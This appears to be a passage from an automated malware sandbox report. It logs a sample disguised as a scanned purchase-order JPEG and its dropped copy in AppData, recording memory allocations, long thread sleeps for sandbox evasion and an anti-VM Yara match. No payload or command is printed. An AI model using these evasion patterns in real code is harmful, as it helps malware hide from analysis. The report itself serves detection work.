Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: 31B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: 17C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: 94A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: A4A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: A6B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: B6B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: C1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: D1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: E1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: 11A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Memory allocated: 2B00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 1290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 2E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 2C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 8AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 9AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 9CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: ACB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: B790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: C790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 29A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Memory allocated: 4BA0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599883	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599213	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598889	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598170	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597477	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597136	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597030	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596878	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596753	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596345	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595796	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595249	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594481	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594374	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594155	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599655
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599546
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599327
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598890
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598781
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598671
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598562
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598375
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598265
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598155
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597984
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597858
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597749
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597640
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597531
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597421
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597312
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597203
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597093
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596984
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596875
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596765
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596656
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596546
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596437
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596325
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596218
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596109
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595999
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595889
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595781
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595671
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595561
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595452
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595343
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595234
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595124
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595015
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594906
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594796
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594687
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594578
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594468

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5931	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3872	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Window / User API: threadDelayed 5928	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Window / User API: threadDelayed 3902	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Window / User API: threadDelayed 1879
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Window / User API: threadDelayed 7978

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 1900	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599883s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7344	Thread sleep count: 5928 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7344	Thread sleep count: 3902 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599213s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598889s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598170s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -598062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597477s >= -30000s	Jump to behavior
